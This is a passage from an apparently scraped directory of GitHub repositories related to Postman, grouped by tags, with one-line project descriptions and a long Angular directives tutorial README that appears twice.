:worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
postman-api-governance/default
default, governance 		This is a default set of API governance using Postman. 2 stars 2 watchers 0 forks
aubm/postmanerator-default-theme
default, theme 		The default HTML theme for Postmanerator 0 stars 0 watchers 4 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
jogilsang/android-webapp-notification
android, default, notification 		default + Firebase FCM + postman 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
zakikasem/Roomy-App
default, development, knowledge, offers, process, service, util 		An iOS Mobile App that offers room renting service , I utilized the knowledge I gained throughout being iOS Developer Trainee at SwiftyCamp in this project by dealing with: Autolayout constraints. Tableviews. Networking using Alamofire, APIs and JSON Parsing. Userdefaults. MVP Architectural Pattern. Worked with Git , Postman and Sketch in development process 0 stars 0 watchers 0 forks

queries (10 listings) (Back to Top)

sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
openMF/mifos-io-configuration
config, configuration, document, documentation, environment, file, files, queries 		Config files, postman queries, documentation for Mifos.io lab environment 0 stars 0 watchers 2 forks
opentable/falcor-postman
active, browser, graph, graphical, interactive, queries 		A graphical interactive in-browser IDE to validate Falcor queries. 0 stars 0 watchers 2 forks
Mall0c/sse-xxe
demonstrate, queries, sample, script 		Short PHP script with sample Postman queries to demonstrate XML External Entities (XXE) for the "Secure Software Engineering" (SSE) lecture at Hochschule Mannheim 0 stars 0 watchers 1 forks
kumarya/mongo-queries
express, mongo, mongoose, node, queries 		express-node-mongoose-postman-queries 0 stars 0 watchers 0 forks
RVerhoeff/Postman-Sample
collection, queries 		Sample REST API queries in a Postman collection 0 stars 0 watchers 0 forks
Varsha-Shivhare/Postman-queries.github.io
github, queries 		Documentation on AGGREGATION TEST API 0 stars 0 watchers 0 forks
KleeUT/postman-presentation
presentation, queries, talk 		Demo api and postman queries for the Automating API QA with postman talk. 0 stars 0 watchers 0 forks
rodrigolira/elasticsearch-query-collection
collection, elastic, elasticsearch, queries, query, scroll, search 		:scroll: A Postman collection of queries targetting Elasticsearch API 0 stars 0 watchers 0 forks
SerhiiY/food-delivery-server-goit
branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user 		A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. 0 stars 0 watchers 0 forks

register (10 listings) (Back to Top)

cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
AmanUllah710/MERN-CRUD
application, form, operation, operations, perfect, register, user 		Simple application to delete and register user in through REACT front-end but you perform all the CRUD operations using POSTMAN. In REST api all the opertions are working perfectly, 1 stars 1 watchers 0 forks
amittyyy/LandonHotelAPI_Project
book, booking, mobile, native, register, search 		BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
AlenaNik/server-auth
auth, express, register, server, user 		postman+express user sign-in/register/enteries 0 stars 0 watchers 0 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
NriqueIsCoding/laravel_api_register_login
auth, authentication, implementation, laravel, login, passport, register 		This is a basic implementation of an API using Laravel and passport for authentication. Tested using postman 0 stars 0 watchers 0 forks
tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks

path (9 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
tripathysagar/AUK
collection, document, file, generator, path, postman collection, result, version 		first version of document generator for postman collection result. please run main.py , and update the name of the file in main.py 1 stars 1 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
cshah2/nGage-AdminAPI
collection, path, postman collection, test 		Repository contains postman collection for nGage Admin API happy path test 0 stars 0 watchers 0 forks
deepakpathania/postman-collection-examples
collection, document, documentation, example, examples, path 		Formatted examples of the postman-collection documentation as individual examples. 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks
paigemoody/postman-paths
http, path, test, unit, web app 		Shortest path web app for community organizers. Live at: http://www.weavewalk.me 0 stars 0 watchers 0 forks
raviteja548/xpath-postman
embedded, json, path, sequence, steps, version 		Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman 0 stars 0 watchers 0 forks
rupathouti/TodoRESTAPI
header, path, token 		With JWT token in header of Postman 0 stars 0 watchers 0 forks

execution (9 listings) (Back to Top)

elioncho/apikiller
collection, collections, config, configure, endpoint, execution, form, test, testing, tool 		Simpe and easy to use load testing tool for your Postman collections. Perform a load test on any endpoint. You can configure the execution time and amount of requests per second. 2 stars 2 watchers 0 forks
committedtester/postman_newman_test_framework
execution, framework, newman, node, test, tester 		Postman execution via node for Continuous Integration 0 stars 0 watchers 0 forks
ankurjain00/postman-javascript-api-tesing
execution, implementation, java, javascript, sample, script, tesing, test, tests 		This is a sample implementation of API tests in Postman with JavaScript with execution in Newman 0 stars 0 watchers 0 forks
Ayorinde-Codes/RequestLogger
agent, browser, data, database, execution, logs, package 		A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call 0 stars 0 watchers 0 forks
Hot-Tomali/postman_scripts
evaluation, execution, script, scripts 		Scripts for evaluation and execution in Postman 0 stars 0 watchers 0 forks
htech10/himanshu-qloyalcodetest-api
docker, execution, jenkins, light, newman, test, tests 		lightbulb api tests execution using postman, newman , jenkins and docker 0 stars 0 watchers 0 forks
nand1234/newman-javascript
execution, java, javascript, newman, problem, script, test 		problematically postman test script execution using Newman 0 stars 0 watchers 0 forks
PaulGilchrist/postman-load-test
execution, parallel, simulate, test 		Enhancement for PostMan allowing for parallel execution of API calls to simulate load or stress conditions 0 stars 0 watchers 0 forks
